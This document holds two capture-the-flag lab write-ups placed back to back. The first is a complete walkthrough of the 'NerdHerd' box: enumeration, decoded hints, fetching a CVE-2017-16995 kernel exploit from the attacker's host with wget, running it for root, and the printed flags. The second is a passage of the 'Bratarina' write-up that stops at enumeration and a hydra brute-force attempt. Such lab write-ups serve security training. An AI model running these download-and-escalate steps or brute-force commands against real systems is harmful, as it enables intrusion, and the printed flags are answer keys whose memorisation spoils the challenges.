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# NerdHerd
Hack your way into this easy/medium level legendary TV series "Chuck" themed box!
[NerdHerd](https://tryhackme.com/room/nerdherd)
## Topic's
- Network Enumeration
- Linux Enumeration
- FTP Enumeration
- SMB Enumeration
- Steganography
- Cryptography
- Base64
- Vigenère
- CVE-2017-16995 - Linux Kernel < 4.13.9
## Appendix archive
Password: `1 kn0w 1 5h0uldn'7!`
## Task 1 PWN
This is the very first vulnerable machine that I've created. So, feel free to share your opinions/advices with me on my DC: 0xpr0N3rd (alright maybe for nudges too)
I've enjoyed developing this box and I hope you enjoy it while solving.
Hack this machine before nerd herd fellas arrive, happy hacking!!!
NOTE # Please do not stream or publish any write-ups for this room at least 1 week after the release.
```
kali@kali:~/CTFs/tryhackme/NerdHerd$ sudo nmap -A -sS -sC -sV -Pn -p- 10.10.48.80
[sudo] password for kali:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-31 22:59 CET
Nmap scan report for 10.10.48.80
Host is up (0.050s latency).
Not shown: 65530 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 3 ftp ftp 4096 Sep 11 03:45 pub
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.8.106.222
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 0c:84:1b:36:b2:a2:e1:11:dd:6a:ef:42:7b:0d:bb:43 (RSA)
| 256 e2:5d:9e:e7:28:ea:d3:dd:d4:cc:20:86:a3:df:23:b8 (ECDSA)
|_ 256 ec:be:23:7b:a9:4c:21:85:bc:a8:db:0e:7c:39:de:49 (ED25519)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
1337/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=10/31%OT=21%CT=1%CU=37433%PV=Y%DS=2%DC=T%G=Y%TM=5F9DDE
OS:A2%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=107%TI=Z%CI=I%II=I%TS=8)SE
OS:Q(SP=105%GCD=1%ISR=107%TI=Z%II=I%TS=8)OPS(O1=M508ST11NW7%O2=M508ST11NW7%
OS:O3=M508NNT11NW7%O4=M508ST11NW7%O5=M508ST11NW7%O6=M508ST11)WIN(W1=68DF%W2
OS:=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN(R=Y%DF=Y%T=40%W=6903%O=M508NNS
OS:NW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%
OS:DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%
OS:O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%
OS:W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%
OS:RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: Host: NERDHERD; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -39m58s, deviation: 1h09m16s, median: 0s
|_nbstat: NetBIOS name: NERDHERD, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: nerdherd
| NetBIOS computer name: NERDHERD\x00
| Domain name: \x00
| FQDN: nerdherd
|_ System time: 2020-11-01T00:01:04+02:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-10-31T22:01:04
|_ start_date: N/A
TRACEROUTE (using port 53/tcp)
HOP RTT ADDRESS
1 32.15 ms 10.8.0.1
2 67.41 ms 10.10.48.80
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 80.41 seconds
```
```
kali@kali:~/CTFs/tryhackme/NerdHerd$ ftp 10.10.132.29
Connected to 10.10.132.29.
220 (vsFTPd 3.0.3)
Name (10.10.132.29:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 3 ftp ftp 4096 Sep 11 03:45 pub
226 Directory send OK.
ftp> cd pub
250 Directory successfully changed.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 3 ftp ftp 4096 Sep 11 03:45 .
drwxr-xr-x 3 ftp ftp 4096 Sep 11 03:03 ..
drwxr-xr-x 2 ftp ftp 4096 Sep 14 18:35 .jokesonyou
-rw-rw-r-- 1 ftp ftp 89894 Sep 11 03:45 youfoundme.png
226 Directory send OK.
ftp> get .jokesonyou
local: .jokesonyou remote: .jokesonyou
200 PORT command successful. Consider using PASV.
550 Failed to open file.
ftp> cd .jokesonyou
250 Directory successfully changed.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 ftp ftp 4096 Sep 14 18:35 .
drwxr-xr-x 3 ftp ftp 4096 Sep 11 03:45 ..
-rw-r--r-- 1 ftp ftp 28 Sep 14 18:35 hellon3rd.txt
226 Directory send OK.
ftp> get hellon3rd.txt
local: hellon3rd.txt remote: hellon3rd.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for hellon3rd.txt (28 bytes).
226 Transfer complete.
28 bytes received in 0.08 secs (0.3231 kB/s)
ftp>
```
```
kali@kali:~/CTFs/tryhackme/NerdHerd$ cat hellon3rd.txt
all you need is in the leet
```
```
kali@kali:~/CTFs/tryhackme/NerdHerd$ exiftool youfoundme.png
ExifTool Version Number : 12.06
File Name : youfoundme.png
Directory : .
File Size : 88 kB
File Modification Date/Time : 2020:10:31 21:15:39+01:00
File Access Date/Time : 2020:10:31 21:15:49+01:00
File Inode Change Date/Time : 2020:10:31 21:15:39+01:00
File Permissions : rw-r--r--
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 894
Image Height : 894
Bit Depth : 8
Color Type : RGB with Alpha
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Background Color : 255 255 255
Pixels Per Unit X : 3543
Pixels Per Unit Y : 3543
Pixel Units : meters
Warning : [minor] Text chunk(s) found after PNG IDAT (may be ignored by some readers)
Datecreate : 2010-10-26T08:00:31-07:00
Datemodify : 2010-10-26T08:00:31-07:00
Software : www.inkscape.org
EXIF Orientation : 1
Exif Byte Order : Big-endian (Motorola, MM)
Resolution Unit : inches
Y Cb Cr Positioning : Centered
Exif Version : 0231
Components Configuration : Y, Cb, Cr, -
Flashpix Version : 0100
Owner Name : fijbxslz
Image Size : 894x894
Megapixels : 0.799
```
`Owner Name : fijbxslz`
[https://www.boxentriq.com/code-breaking/cipher-identifier](https://www.boxentriq.com/code-breaking/cipher-identifier)
```
kali@kali:~/CTFs/tryhackme/NerdHerd$ smbclient -L \\10.10.48.80
Enter WORKGROUP\kali's password:
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
nerdherd_classified Disk Samba on Ubuntu
IPC$ IPC IPC Service (nerdherd server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available
```
```
kali@kali:~/CTFs/tryhackme/NerdHerd$ smbclient \\\\10.10.48.80\\nerdherd_classified
Enter WORKGROUP\kali's password:
tree connect failed: NT_STATUS_ACCESS_DENIED
```
<!--
these might help:
Y2liYXJ0b3dza2k= : aGVoZWdvdTwdasddHlvdQ==
-->
```
kali@kali:~/CTFs/tryhackme/NerdHerd$ echo 'Y2liYXJ0b3dza2k=' | base64 -d
cibartowski
```
```
kali@kali:~/CTFs/tryhackme/NerdHerd$ echo 'aGVoZWdvdTwdasddHlvdQ==' | base64 -d
hehegou
```
```
kali@kali:~/CTFs/tryhackme/NerdHerd$ enum4linux 10.10.132.29
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Fri Nov 6 13:49:43 2020
==========================
| Target Information |
==========================
Target ........... 10.10.132.29
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
====================================================
| Enumerating Workgroup/Domain on 10.10.132.29 |
====================================================
[+] Got domain/workgroup name: WORKGROUP
============================================
| Nbtstat Information for 10.10.132.29 |
============================================
Looking up status of 10.10.132.29
NERDHERD <00> - B <ACTIVE> Workstation Service
NERDHERD <03> - B <ACTIVE> Messenger Service
NERDHERD <20> - B <ACTIVE> File Server Service
..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser
WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
WORKGROUP <1d> - B <ACTIVE> Master Browser
WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections
MAC Address = 00-00-00-00-00-00
=====================================
| Session Check on 10.10.132.29 |
=====================================
[+] Server 10.10.132.29 allows sessions using username '', password ''
===========================================
| Getting domain SID for 10.10.132.29 |
===========================================
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
======================================
| OS information on 10.10.132.29 |
======================================
Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line 464.
[+] Got OS info for 10.10.132.29 from smbclient:
[+] Got OS info for 10.10.132.29 from srvinfo:
NERDHERD Wk Sv PrQ Unx NT SNT nerdherd server (Samba, Ubuntu)
platform_id : 500
os version : 6.1
server type : 0x809a03
=============================
| Users on 10.10.132.29 |
=============================
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: chuck Name: ChuckBartowski Desc:
user:[chuck] rid:[0x3e8]
=========================================
| Share Enumeration on 10.10.132.29 |
=========================================
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
nerdherd_classified Disk Samba on Ubuntu
IPC$ IPC IPC Service (nerdherd server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available
[+] Attempting to map shares on 10.10.132.29
//10.10.132.29/print$ Mapping: DENIED, Listing: N/A
//10.10.132.29/nerdherd_classified Mapping: DENIED, Listing: N/A
//10.10.132.29/IPC$ [E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
====================================================
| Password Policy Information for 10.10.132.29 |
====================================================
[+] Attaching to 10.10.132.29 using a NULL share
[+] Trying protocol 139/SMB...
[+] Found domain(s):
[+] NERDHERD
[+] Builtin
[+] Password Info for Domain: NERDHERD
[+] Minimum password length: 5
[+] Password history length: None
[+] Maximum password age: 37 days 6 hours 21 minutes
[+] Password Complexity Flags: 000000
[+] Domain Refuse Password Change: 0
[+] Domain Password Store Cleartext: 0
[+] Domain Password Lockout Admins: 0
[+] Domain Password No Clear Change: 0
[+] Domain Password No Anon Change: 0
[+] Domain Password Complex: 0
[+] Minimum password age: None
[+] Reset Account Lockout Counter: 30 minutes
[+] Locked Account Duration: 30 minutes
[+] Account Lockout Threshold: None
[+] Forced Log off Time: 37 days 6 hours 21 minutes
[+] Retieved partial password policy with rpcclient:
Password Complexity: Disabled
Minimum Password Length: 5
=======================================================================
| Users on 10.10.132.29 via RID cycling (RIDS: 500-550,1000-1050) |
=======================================================================
[I] Found new SID: S-1-22-1
[I] Found new SID: S-1-5-21-2306820301-2176855359-2727674639
[I] Found new SID: S-1-5-32
[+] Enumerating users using SID S-1-5-32 and logon username '', password ''
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\chuck (Local User)
S-1-22-1-1002 Unix User\ftpuser (Local User)
[+] Enumerating users using SID S-1-5-21-2306820301-2176855359-2727674639 and logon username '', password ''
S-1-5-21-2306820301-2176855359-2727674639-500 *unknown*\*unknown* (8)
S-1-5-21-2306820301-2176855359-2727674639-501 NERDHERD\nobody (Local User)
S-1-5-21-2306820301-2176855359-2727674639-513 NERDHERD\None (Domain Group)
S-1-5-21-2306820301-2176855359-2727674639-1000 NERDHERD\chuck (Local User)
=============================================
| Getting printer info for 10.10.132.29 |
=============================================
No printers returned.
enum4linux complete on Fri Nov 6 13:53:33 2020
```
[https://www.youtube.com/watch?v=9Gc4QTqslN4](https://www.youtube.com/watch?v=9Gc4QTqslN4)
[https://gchq.github.io/CyberChef/#recipe=Vigen%C3%A8re_Decode('BirdistheWord')&input=ZmlqYnhzbHo](<https://gchq.github.io/CyberChef/#recipe=Vigen%C3%A8re_Decode('BirdistheWord')&input=ZmlqYnhzbHo>)
`easypass`
```
kali@kali:~/CTFs/tryhackme/NerdHerd$ smbclient -U chuck \\\\10.10.132.29\\nerdherd_classified
Enter WORKGROUP\chuck's password:
Try "help" to get a list of possible commands.
smb: \> ls -la
NT_STATUS_NO_SUCH_FILE listing \-la
smb: \> ls
. D 0 Fri Sep 11 03:29:53 2020
.. D 0 Thu Nov 5 21:44:40 2020
secr3t.txt N 125 Fri Sep 11 03:29:53 2020
8124856 blocks of size 1024. 3414104 blocks available
smb: \> get secr3t.txt
getting file \secr3t.txt of size 125 as secr3t.txt (0.7 KiloBytes/sec) (average 0.7 KiloBytes/sec)
smb: \>
```
[http://10.10.132.29:1337/this1sn0tadirect0ry/](http://10.10.132.29:1337/this1sn0tadirect0ry/)
[http://10.10.132.29:1337/this1sn0tadirect0ry/creds.txt](http://10.10.132.29:1337/this1sn0tadirect0ry/creds.txt)
```
alright, enough with the games.
here, take my ssh creds:
chuck : th1s41ntmypa5s
```
```
kali@kali:~/CTFs/tryhackme/NerdHerd$ ssh [email protected]
The authenticity of host '10.10.132.29 (10.10.132.29)' can't be established.
ECDSA key fingerprint is SHA256:Zf9lZPGnZpw5EjeSwBXbXbeyTILyhw998cnd87rFDTU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.132.29' (ECDSA) to the list of known hosts.
[email protected]'s password:
Welcome to Ubuntu 16.04.1 LTS (GNU/Linux 4.4.0-31-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
747 packages can be updated.
522 updates are security updates.
Last login: Wed Oct 14 17:03:42 2020 from 22.0.97.11
chuck@nerdherd:~$ ls -la
total 136
drwxr-xr-x 19 chuck chuck 4096 Kas 5 22:44 .
drwxr-xr-x 4 root root 4096 Eyl 11 03:43 ..
-rw------- 1 chuck chuck 742 Kas 5 22:44 .bash_history
-rw-r--r-- 1 chuck chuck 220 Eyl 11 01:17 .bash_logout
-rw-r--r-- 1 chuck chuck 3771 Eyl 11 01:17 .bashrc
drwx------ 14 chuck chuck 4096 Eyl 14 19:20 .cache
drwx------ 3 chuck chuck 4096 Eyl 11 03:31 .compiz
drwx------ 15 chuck chuck 4096 Kas 5 22:42 .config
drwxr-xr-x 2 chuck chuck 4096 Kas 5 22:43 Desktop
-rw-r--r-- 1 chuck chuck 25 Eyl 11 01:32 .dmrc
drwxr-xr-x 2 chuck chuck 4096 Eyl 11 01:32 Documents
drwxr-xr-x 3 chuck chuck 4096 Eyl 11 04:45 Downloads
-rw-r--r-- 1 chuck chuck 8980 Eyl 11 01:17 examples.desktop
drwx------ 2 chuck chuck 4096 Eki 19 11:38 .gconf
drwx------ 3 chuck chuck 4096 Kas 5 22:40 .gnupg
-rw------- 1 chuck chuck 4564 Kas 5 22:40 .ICEauthority
drwx------ 3 chuck chuck 4096 Eyl 11 01:32 .local
drwx------ 4 chuck chuck 4096 Eyl 11 02:03 .mozilla
drwxr-xr-x 2 chuck chuck 4096 Eyl 11 01:32 Music
drwxrwxr-x 2 chuck chuck 4096 Eyl 11 03:29 .nano
drwxr-xr-x 2 root root 4096 Eyl 11 04:29 nerdherd_classified
drwxr-xr-x 2 chuck chuck 4096 Eyl 11 01:32 Pictures
-rw-r--r-- 1 chuck chuck 655 Eyl 11 01:17 .profile
drwxr-xr-x 2 chuck chuck 4096 Eyl 11 01:32 Public
-rw-r--r-- 1 chuck chuck 0 Eyl 11 01:38 .sudo_as_admin_successful
drwxr-xr-x 2 chuck chuck 4096 Eyl 11 01:32 Templates
-rw-rw-r-- 1 chuck chuck 46 Eyl 14 19:26 user.txt
drwxr-xr-x 2 chuck chuck 4096 Eyl 11 01:32 Videos
-rw------- 1 root root 511 Eyl 11 02:58 .viminfo
-rw------- 1 chuck chuck 53 Kas 5 22:40 .Xauthority
-rw------- 1 chuck chuck 82 Kas 5 22:40 .xsession-errors
-rw------- 1 chuck chuck 82 Kas 5 20:26 .xsession-errors.old
chuck@nerdherd:~$ cat user.txt
THM{7fc91d70e22e9b70f98aaf19f9a1c3ca710661be}
```
[Linux Kernel < 4.13.9](https://www.exploit-db.com/exploits/45010)
`CVE-2017-16995 - Linux Kernel < 4.13.9`
```
chuck@nerdherd:~$ which gcc
/usr/bin/gcc
chuck@nerdherd:~$ wget 10.8.106.222/45010.c
--2020-11-06 15:18:07-- http://10.8.106.222/45010.c
Connecting to 10.8.106.222:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 13728 (13K) [text/plain]
Saving to: ‘45010.c’
45010.c 100%[==========================>] 13,41K --.-KB/s in 0,03s
2020-11-06 15:18:07 (408 KB/s) - ‘45010.c’ saved [13728/13728]
chuck@nerdherd:~$ gcc 45010.c -o exploit
chuck@nerdherd:~$ ./exploit
[.]
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
[.]
[.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
[.]
[*] creating bpf map
[*] sneaking evil bpf past the verifier
[*] creating socketpair()
[*] attaching bpf backdoor to socket
[*] skbuff => ffff88003b52f200
[*] Leaking sock struct from ffff88003c882d00
[*] Sock->sk_rcvtimeo at offset 472
[*] Cred structure at ffff88003afbc780
[*] UID from cred structure: 1000, matches the current: 1000
[*] hammering cred structure at ffff88003afbc780
[*] credentials patched, launching shell...
# whoami
root
# cat /root/root.txt
cmon, wouldnt it be too easy if i place the root flag here?
# locate root.txt
/opt/.root.txt
/root/root.txt
# cat /opt/.root.txt
nOOt nOOt! you've found the real flag, congratz!
THM{5c5b7f0a81ac1c00732803adcee4a473cf1be693}
# cd /root
# cat .bash_history | grep -i -a thm
THM{a975c295ddeab5b1a5323df92f61c4cc9fc88207}
```
1. User Flag
`THM{7fc91d70e22e9b70f98aaf19f9a1c3ca710661be}`
2. Root Flag
`THM{5c5b7f0a81ac1c00732803adcee4a473cf1be693}`
3. Bonus Flag
`THM{a975c295ddeab5b1a5323df92f61c4cc9fc88207}`
|
# Bratarina
## Table of Contents
* [Summary](#summary)
* [Enumerate](#enumerate)
* [Ports](#ports)
* [Services](#services)
* [SSH](#ssh)
* [SMTP](#smtp)
* [HTTP](#http)
* [SMB](#smb)
* [OS](#os)
* [Nmap OS Discovery Scan](#nmap-os-discovery-scan)
* [Nmap OS Discovery Scan via SMB](#nmap-os-discovery-scan-via-smb)
* [Exploit](#exploit)
* [CVE-2020-7247](#cve-2020-7247)
* [EDB-ID-47984](#edb-id-47984)
* [Metasploit](#metasploit)
* [Explore](#explore)
* [Escalate](#escalate)
* [Lessons Learned](#lessons-learned)
## Summary
* Hostname: bratarina
* Description: Bratarina is not the nicest lady in town.
* IP Address: 192.168.132.71
* MAC Address: (ref:)
* Domain: WORKGROUP
* TCP Ports and Services
* 22
* OpenSSH 7.6
* 25
* OpenSMTPd
* 80
* Nginx 1.14
* FlashBB
* 445
* Samba 4.7.6-Ubuntu (ref: Nmap)
* OS
* Distro: Ubuntu (ref: Nmap)
* Kernel: Linux 2.6.32 or 3.10 (ref: Nmap)
* Architecture: (ref:)
* Users
* root (ref: Nmap)
* neil (ref: passwd.bak downloaded via smbclient)
* Vulnerabilities and Exploits
* CVE-2020-7247 (ref: searchsploit)
* EDB-ID-48038 (ref: searchsploit)
* Flag
* 055124521243345de53fcee856b4fd44
* Hints
* n/a
# Enumerate
## Setup
```bash
TARGET=192.168.132.71
NAME=bratarina
new-ctf $NAME
cd $NAME
```
## Ports
```bash
sudo nmap $TARGET -sS -sU --min-rate 1000 -oN scans/$NAME-nmap-initial
sudo nmap $TARGET -sS -sU -p- --min-rate 1000 -oN scans/$NAME-nmap-complete
sudo nmap $TARGET -sV $(print-open-ports-from-nmap-scan scans/$NAME-nmap-complete) -oN scans/$NAME-nmap-versions
# output
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-03 10:59 EDT
Nmap scan report for 192.168.132.71
Host is up (0.084s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
25/tcp open smtp OpenSMTPD
80/tcp open http nginx 1.14.0 (Ubuntu)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: COFFEECORP)
Service Info: Host: bratarina; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.12 seconds
```
## Services
### SSH
Hydra was unable to guess the correct password for neil.
```bash
hydra -l neil -P /usr/share/wordlists/rockyou.txt ssh://192.168.141.71
# output
NSTR
```
### SMTP
Automated enumeration of supported SMTP commands.
```bash
sudo nmap $TARGET -p25 --script smtp-commands -oN scans/$NAME-nmap-script-smtp-commands
# output
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-04 01:20 EDT
Nmap scan report for 192.168.141.71
Host is up (0.096s latency).
PORT STATE SERVICE
25/tcp open smtp
| smtp-commands: bratarina Hello nmap.scanme.org [192.168.49.141], pleased to meet you, 8BITMIME, ENHANCEDSTATUSCODES, SIZE 36700160, DSN, HELP,
|_ 2.0.0 This is OpenSMTPD 2.0.0 To report bugs in the implementation, please contact [email protected] 2.0.0 with full details 2.0.0 End of HELP info
Nmap done: 1 IP address (1 host up) scanned in 0.83 seconds
```
Automated enumeration of existing SMTP users. Nmap reported "root" was a valid user.
```bash
sudo nmap $TARGET -p25 --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -oN scans/$NAME-nmap-script-smtp-enum-users
# output
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-04 01:21 EDT
Failed to resolve "smtp-enum-users.methods=EXPN".
Failed to resolve "smtp-enum-users.methods=RCPT".
Failed to resolve "smtp-enum-users.methods=RCPT".
Nmap scan report for 192.168.141.71
Host is up (0.072s latency).
PORT STATE SERVICE
25/tcp open smtp
| smtp-enum-users:
|_ root
Failed to resolve "smtp-enum-users.methods=RCPT".
Nmap done: 1 IP address (1 host up) scanned in 1.54 seconds
```
```bash
smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t $TARGET
# output
smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t 192.168.141.71
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )
----------------------------------------------------------
| Scan Information |
----------------------------------------------------------
Mode ..................... VRFY
Worker Processes ......... 5
Usernames file ........... /usr/share/wordlists/metasploit/unix_users.txt
Target count ............. 1
Username count ........... 168
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............
######## Scan started at Sun Jul 4 01:07:36 2021 #########
######## Scan completed at Sun Jul 4 01:07:47 2021 #########
0 results.
168 queries in 11 seconds (15.3 queries / sec)
```
Automated enumeration of exploitable SMTP vulnerabilities.
```bash
sudo nmap $TARGET -p25 --script smtp-vuln* -oN scans/mailman-nmap-script-smtp-vuln
# output
# Nmap 7.91 scan initiated Sun Jul 4 00:43:18 2021 as: nmap -p25 --script smtp-vuln* -oN scans/bratarina-nmap-script-smtp-vuln 192.168.141.71
Nmap scan report for 192.168.141.71
Host is up (0.072s latency).
PORT STATE SERVICE
25/tcp open smtp
| smtp-vuln-cve2010-4344:
|_ The SMTP server is not Exim: NOT VULNERABLE
# Nmap done at Sun Jul 4 00:43:19 2021 -- 1 IP address (1 host up) scanned in 0.74 seconds
```
### HTTP
The target provided NSTR when scanned with dirb.
```bash
dirb http://$TARGET -r -z10 -o scans/$NAME-dirb-common
# output
...snipped...
+ http://192.168.141.71/index.html (CODE:200|SIZE:612)
+ http://192.168.141.71/robots.txt (CODE:200|SIZE:14)
==> DIRECTORY: http://192.168.141.71/static/
==> DIRECTORY: http://192.168.141.71/static/css/
==> DIRECTORY: http://192.168.141.71/static/fonts/
==> DIRECTORY: http://192.168.141.71/static/img/
==> DIRECTORY: http://192.168.141.71/static/js/
END_TIME: Sat Jul 3 20:11:08 2021
DOWNLOADED: 27672 - FOUND: 4
```
Nikto reported the target had no CGI directories.
```bash
nikto -h $TARGET -p $PORT -T 2 -Format txt -o scans/$NAME-nikto-misconfig
# output
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.141.71
+ Target Hostname: 192.168.141.71
+ Target Port: 80
+ Start Time: 2021-07-04 01:16:23 (GMT-4)
---------------------------------------------------------------------------
+ Server: nginx/1.14.0 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ 1349 requests: 0 error(s) and 3 item(s) reported on remote host
+ End Time: 2021-07-04 01:18:34 (GMT-4) (131 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
```
The target is not vulnerable to Shellshock.
```bash
sudo nmap $TARGET -p80 --script http-shellshock -oN scans/$NAME-nmap-script-http-shellshock
# output
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-04 01:12 EDT
Nmap scan report for 192.168.141.71
Host is up (0.075s latency).
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 1.27 seconds
```
### SMB
```bash
smbclient -L $TARGET
# output
Enter WORKGROUP\victor's password:
Anonymous login successful
Sharename Type Comment
--------- ---- -------
backups Disk Share for backups
IPC$ IPC IPC Service (Samba 4.7.6-Ubuntu)
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.132.71 failed (Error NT_STATUS_IO_TIMEOUT)
Unable to connect with SMB1 -- no workgroup available
```
```bash
smbmap -H 192.168.141.71
# output
[+] Guest session IP: 192.168.141.71:445 Name: 192.168.141.71
Disk Permissions Comment
---- ----------- -------
backups READ ONLY Share for backups
IPC$ NO ACCESS IPC Service (Samba 4.7.6-Ubuntu)
```
```bash
smbclient \\\\192.168.132.71\\backups
get passwd.bak
exit
cat passwd.bak
# output
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
neil:x:1000:1000:neil,,,:/home/neil:/bin/bash
